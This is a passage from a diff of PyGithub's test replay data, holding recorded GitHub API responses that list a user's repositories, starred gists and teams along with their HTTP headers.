s%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"developer.github.com","language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"html_url":"https://github.com/jacquev6/developer.github.com","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","git_url":"git://github.com/jacquev6/acme-public-website.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"acme-public-website","language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"html_url":"https://github.com/jacquev6/acme-public-website","full_name":"jacquev6/acme-public-website"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","mirror_url":null,"has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","git_url":"git://github.com/jacquev6/C4Planner.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"C4Planner","language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"html_url":"https://github.com/jacquev6/C4Planner","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Hacking.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-24T13:55:11Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Hacking","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":128,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Hacking","git_url":"git://github.com/jacquev6/Hacking.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Hacking","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Hacking.git","pushed_at":"2012-04-17T19:09:56Z","created_at":"2011-07-02T15:59:51Z","id":1988081,"html_url":"https://github.com/jacquev6/Hacking","full_name":"jacquev6/Hacking"},{"clone_url":"https://github.com/jacquev6/vincent-jacques.net.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-29T15:20:52Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"vincent-jacques.net","url":"https://api.github.com/repos/jacquev6/vincent-jacques.net","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":172,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/vincent-jacques.net","git_url":"git://github.com/jacquev6/vincent-jacques.net.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"vincent-jacques.net","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/vincent-jacques.net.git","pushed_at":"2012-04-29T15:20:52Z","created_at":"2011-07-02T07:08:56Z","id":1986874,"html_url":"https://github.com/jacquev6/vincent-jacques.net","full_name":"jacquev6/vincent-jacques.net"},{"clone_url":"https://github.com/jacquev6/Contests.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-02-12T07:18:09Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"Contests","url":"https://api.github.com/repos/jacquev6/Contests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":448,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Contests","git_url":"git://github.com/jacquev6/Contests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Contests","language":"Python","description":"","ssh_url":"git@github.com:jacquev6/Contests.git","pushed_at":"2011-11-14T20:19:48Z","created_at":"2011-06-27T11:55:34Z","id":1959919,"html_url":"https://github.com/jacquev6/Contests","full_name":"jacquev6/Contests"},{"clone_url":"https://github.com/jacquev6/Candidates.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-05-11T13:50:37Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Candidates","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":700,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Candidates","git_url":"git://github.com/jacquev6/Candidates.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Candidates","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Candidates.git","pushed_at":"2012-05-11T13:50:36Z","created_at":"2011-04-09T18:24:08Z","id":1592290,"html_url":"https://github.com/jacquev6/Candidates","full_name":"jacquev6/Candidates"},{"clone_url":"https://github.com/jacquev6/Tests.git","mirror_url":null,"has_downloads":true,"watchers":0,"updated_at":"2012-04-28T10:16:42Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/Tests","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":3032,"private":true,"open_issues":0,"svn_url":"https://github.com/jacquev6/Tests","git_url":"git://github.com/jacquev6/Tests.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Tests","language":"C","description":"Various tests","ssh_url":"git@github.com:jacquev6/Tests.git","pushed_at":"2012-04-01T04:24:47Z","created_at":"2011-03-28T20:24:02Z","id":1538471,"html_url":"https://github.com/jacquev6/Tests","full_name":"jacquev6/Tests"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","git_url":"git://github.com/jacquev6/DrawTurksHead.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawTurksHead","language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"html_url":"https://github.com/jacquev6/DrawTurksHead","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","git_url":"git://github.com/jacquev6/DrawSyntax.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"DrawSyntax","language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"html_url":"https://github.com/jacquev6/DrawSyntax","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","git_url":"git://github.com/jacquev6/QuadProgMm.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"QuadProgMm","language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"html_url":"https://github.com/jacquev6/QuadProgMm","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","mirror_url":null,"has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"Boost.HierarchicalEnum","language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/ViDE.git","mirror_url":null,"has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","git_url":"git://github.com/jacquev6/ViDE.git","owner":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"name":"ViDE","language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"html_url":"https://github.com/jacquev6/ViDE","full_name":"jacquev6/ViDE"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetReposWithArguments.txt b/tests/ReplayData/AuthenticatedUser.testGetReposWithArguments.txt index e79d0db465..57622eb633 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetReposWithArguments.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetReposWithArguments.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4975'), ('content-length', '11503'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"f701a487ffa356326c27c1d0f1790e5e"'), ('date', 'Tue, 29 May 2012 18:19:20 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"clone_url":"https://github.com/jacquev6/ViDE.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-19T16:35:46Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/ViDE","html_url":"https://github.com/jacquev6/ViDE","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1488,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/ViDE","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"ViDE","mirror_url":null,"language":"Python","description":"Vincent's Development Environment","ssh_url":"git@github.com:jacquev6/ViDE.git","pushed_at":"2012-04-19T16:35:45Z","created_at":"2010-07-10T07:33:24Z","id":767343,"git_url":"git://github.com/jacquev6/ViDE.git","full_name":"jacquev6/ViDE"},{"clone_url":"https://github.com/jacquev6/QuadProgMm.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:39:06Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/QuadProgMm","url":"https://api.github.com/repos/jacquev6/QuadProgMm","html_url":"https://github.com/jacquev6/QuadProgMm","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/QuadProgMm","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"QuadProgMm","mirror_url":null,"language":"C++","description":"A C++ interface to specify quadratic problems by C++ expressions of your variables. Try it online.","ssh_url":"git@github.com:jacquev6/QuadProgMm.git","pushed_at":"2012-04-16T18:39:05Z","created_at":"2010-07-10T08:36:57Z","id":767386,"git_url":"git://github.com/jacquev6/QuadProgMm.git","full_name":"jacquev6/QuadProgMm"},{"clone_url":"https://github.com/jacquev6/PyGithub.git","has_downloads":true,"watchers":17,"updated_at":"2012-05-29T18:07:54Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/PyGithub","url":"https://api.github.com/repos/jacquev6/PyGithub","html_url":"https://github.com/jacquev6/PyGithub","has_wiki":false,"has_issues":true,"fork":false,"forks":3,"size":480,"private":false,"open_issues":14,"svn_url":"https://github.com/jacquev6/PyGithub","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"PyGithub","mirror_url":null,"language":"Python","description":"Python library implementing the full Github API v3","ssh_url":"git@github.com:jacquev6/PyGithub.git","pushed_at":"2012-05-29T18:07:54Z","created_at":"2012-02-25T12:53:47Z","id":3544490,"git_url":"git://github.com/jacquev6/PyGithub.git","full_name":"jacquev6/PyGithub"},{"clone_url":"https://github.com/jacquev6/DrawTurksHead.git","has_downloads":false,"watchers":0,"updated_at":"2012-04-16T18:38:55Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawTurksHead/","url":"https://api.github.com/repos/jacquev6/DrawTurksHead","html_url":"https://github.com/jacquev6/DrawTurksHead","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":3232,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawTurksHead","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"DrawTurksHead","mirror_url":null,"language":"C++","description":"A tool to draw Turk's Head Knots. Try it online","ssh_url":"git@github.com:jacquev6/DrawTurksHead.git","pushed_at":"2012-04-16T18:38:54Z","created_at":"2010-07-10T08:54:09Z","id":767403,"git_url":"git://github.com/jacquev6/DrawTurksHead.git","full_name":"jacquev6/DrawTurksHead"},{"clone_url":"https://github.com/jacquev6/DrawSyntax.git","has_downloads":false,"watchers":0,"updated_at":"2011-11-27T14:00:34Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"http://vincent-jacques.net/DrawSyntax/","url":"https://api.github.com/repos/jacquev6/DrawSyntax","html_url":"https://github.com/jacquev6/DrawSyntax","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":1760,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/DrawSyntax","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"DrawSyntax","mirror_url":null,"language":"C++","description":"Draw syntax diagrams from EBNF grammars. API in C++ and Python. Try it online.","ssh_url":"git@github.com:jacquev6/DrawSyntax.git","pushed_at":"2011-11-27T14:00:32Z","created_at":"2010-07-10T08:39:56Z","id":767392,"git_url":"git://github.com/jacquev6/DrawSyntax.git","full_name":"jacquev6/DrawSyntax"},{"clone_url":"https://github.com/jacquev6/django.git","has_downloads":true,"watchers":1,"updated_at":"2012-04-28T11:06:20Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://www.djangoproject.com/","url":"https://api.github.com/repos/jacquev6/django","html_url":"https://github.com/jacquev6/django","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":48476,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/django","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"django","mirror_url":null,"language":"Python","description":"The Web framework for perfectionists with deadlines. Now on GitHub.","ssh_url":"git@github.com:jacquev6/django.git","pushed_at":"2012-04-28T04:05:15Z","created_at":"2012-04-28T11:06:20Z","id":4166730,"git_url":"git://github.com/jacquev6/django.git","full_name":"jacquev6/django"},{"clone_url":"https://github.com/jacquev6/developer.github.com.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-08T08:36:28Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/developer.github.com","html_url":"https://github.com/jacquev6/developer.github.com","has_wiki":false,"has_issues":false,"fork":true,"forks":0,"size":152,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/developer.github.com","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"developer.github.com","mirror_url":null,"language":"Ruby","description":"","ssh_url":"git@github.com:jacquev6/developer.github.com.git","pushed_at":"2012-05-08T08:36:28Z","created_at":"2012-02-05T18:22:26Z","id":3361136,"git_url":"git://github.com/jacquev6/developer.github.com.git","full_name":"jacquev6/developer.github.com"},{"clone_url":"https://github.com/jacquev6/C4Planner.git","has_downloads":true,"watchers":1,"updated_at":"2012-02-16T21:51:01Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"http://vincent-jacques.net/C4Planner","url":"https://api.github.com/repos/jacquev6/C4Planner","html_url":"https://github.com/jacquev6/C4Planner","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":4716,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/C4Planner","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"C4Planner","mirror_url":null,"language":"Python","description":"Caesar IV: anticipate your city","ssh_url":"git@github.com:jacquev6/C4Planner.git","pushed_at":"2011-11-27T20:51:06Z","created_at":"2011-08-24T08:30:55Z","id":2260441,"git_url":"git://github.com/jacquev6/C4Planner.git","full_name":"jacquev6/C4Planner"},{"clone_url":"https://github.com/jacquev6/Boost.HierarchicalEnum.git","has_downloads":false,"watchers":2,"updated_at":"2012-02-20T12:43:24Z","permissions":{"pull":true,"admin":true,"push":true},"master_branch":"master","homepage":"","url":"https://api.github.com/repos/jacquev6/Boost.HierarchicalEnum","html_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","has_wiki":false,"has_issues":false,"fork":false,"forks":1,"size":112,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/Boost.HierarchicalEnum","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"Boost.HierarchicalEnum","mirror_url":null,"language":"C++","description":"","ssh_url":"git@github.com:jacquev6/Boost.HierarchicalEnum.git","pushed_at":"2011-11-27T14:00:23Z","created_at":"2010-07-10T08:32:12Z","id":767382,"git_url":"git://github.com/jacquev6/Boost.HierarchicalEnum.git","full_name":"jacquev6/Boost.HierarchicalEnum"},{"clone_url":"https://github.com/jacquev6/acme-public-website.git","has_downloads":false,"watchers":0,"updated_at":"2012-05-22T18:24:49Z","permissions":{"pull":true,"admin":true,"push":true},"homepage":"","url":"https://api.github.com/repos/jacquev6/acme-public-website","html_url":"https://github.com/jacquev6/acme-public-website","has_wiki":false,"has_issues":false,"fork":false,"forks":0,"size":120,"private":false,"open_issues":0,"svn_url":"https://github.com/jacquev6/acme-public-website","owner":{"url":"https://api.github.com/users/jacquev6","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","id":327146},"name":"acme-public-website","mirror_url":null,"language":null,"description":"","ssh_url":"git@github.com:jacquev6/acme-public-website.git","pushed_at":"2011-12-07T20:11:17Z","created_at":"2011-12-07T20:00:40Z","id":2935252,"git_url":"git://github.com/jacquev6/acme-public-website.git","full_name":"jacquev6/acme-public-website"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetStarredGists.txt b/tests/ReplayData/AuthenticatedUser.testGetStarredGists.txt index d0d887e56c..a2453ee0fa 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetStarredGists.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetStarredGists.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4965'), ('content-length', '1871'), ('server', 'nginx/1.0.13'), ('connection', 'keep-alive'), ('x-ratelimit-limit', '5000'), ('etag', '"6fe6eaa71614e18ab69868eb20639534"'), ('date', 'Sat, 26 May 2012 20:15:28 GMT'), ('content-type', 'application/json; charset=utf-8')] [{"git_push_url":"git@gist.github.com:1942384.git","updated_at":"2012-02-29T16:47:12Z","url":"https://api.github.com/gists/1942384","comments":0,"public":true,"files":{"fail_github.py":{"type":"application/python","size":1636,"raw_url":"https://gist.github.com/raw/1942384/2fb3aa84e0efa50dc0f4c18b5df5b7b9ab27076b/fail_github.py","filename":"fail_github.py","language":"Python"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"How to error 500 Github API v3, as requested by Rick (GitHub Staff)","created_at":"2012-02-29T16:47:12Z","git_pull_url":"git://gist.github.com/1942384.git","id":"1942384","html_url":"https://gist.github.com/1942384"},{"git_push_url":"git@gist.github.com:dcb7de17e8a52b74541d.git","updated_at":"2012-02-28T19:44:42Z","url":"https://api.github.com/gists/dcb7de17e8a52b74541d","comments":1,"public":false,"files":{"cadfael.txt":{"type":"text/plain","size":585,"raw_url":"https://gist.github.com/raw/dcb7de17e8a52b74541d/48ca696645682d7430d73180814434e0284796b2/cadfael.txt","filename":"cadfael.txt","language":"Text"}},"user":{"url":"https://api.github.com/users/jacquev6","avatar_url":"https://secure.gravatar.com/avatar/b68de5ae38616c296fa345d2b9df2225?d=https://a248.e.akamai.net/assets.github.com%2Fimages%2Fgravatars%2Fgravatar-140.png","gravatar_id":"b68de5ae38616c296fa345d2b9df2225","login":"jacquev6","id":327146},"description":"Cadfael: order of episodes in French DVD edition","created_at":"2012-02-28T19:44:42Z","git_pull_url":"git://gist.github.com/dcb7de17e8a52b74541d.git","id":"dcb7de17e8a52b74541d","html_url":"https://gist.github.com/dcb7de17e8a52b74541d"}] - diff --git a/tests/ReplayData/AuthenticatedUser.testGetTeams.txt b/tests/ReplayData/AuthenticatedUser.testGetTeams.txt index 92785959fd..636c4c895c 100644 --- a/tests/ReplayData/AuthenticatedUser.testGetTeams.txt +++ b/tests/ReplayData/AuthenticatedUser.testGetTeams.txt @@ -8,4 +8,3 @@ None 200 [('status', '200 OK'), ('x-ratelimit-remaining', '4999'), ('x-github-media-type', 'github.beta; format=json'), ('x-content-type-options', 'nosniff'), ('access-control-expose-headers', 'ETag, Link, X-GitHub-OTP, X-RateLimit-Limit, X-RateLimit-Remaining, X-RateLimit-Reset, X-OAuth-Scopes, X-Accepted-OAuth-Scopes, X-Poll-Interval'), ('x-github-request-id', '62E81E32:675E:4211BBA:531401D8'), ('access-control-allow-credentials', 'true'), ('vary', 'Accept, Authorization, Cookie, X-GitHub-OTP, Accept-Encoding'), ('content-length', '11367'), ('server', 'GitHub.com'), ('x-ratelimit-limit', '5000'), ('etag', '"00eaa266c50bd385cc99089d641a1242"'), ('cache-control', 'private, max-age=60, s-maxage=60'), ('date', 'Mon, 03 Mar 2014 04:15:21 GMT'), ('access-control-allow-origin', '*'), ('content-type', 'application/json; charset=utf-8'), ('x-ratelimit-reset', '1393823721')] [{"name":"Owners","id":141487,"slug":"owners","permission":"admin","url":"https://api.github.com/teams/141487","members_url":"https://api.github.com/teams/141487/members{/member}","repositories_url":"https://api.github.com/teams/141487/repos","members_count":1,"repos_count":1,"organization":{"login":"BeaverSoftware","id":1424031,"url":"https://api.github.com/orgs/BeaverSoftware","repos_url":"https://api.github.com/orgs/BeaverSoftware/repos","events_url":"https://api.github.com/orgs/BeaverSoftware/events","members_url":"https://api.github.com/orgs/BeaverSoftware/members{/member}","public_members_url":"https://api.github.com/orgs/BeaverSoftware/public_members{/member}","avatar_url":"https://avatars.githubusercontent.com/u/1424031","name":"Beaver Software","company":null,"blog":null,"location":"Paris, 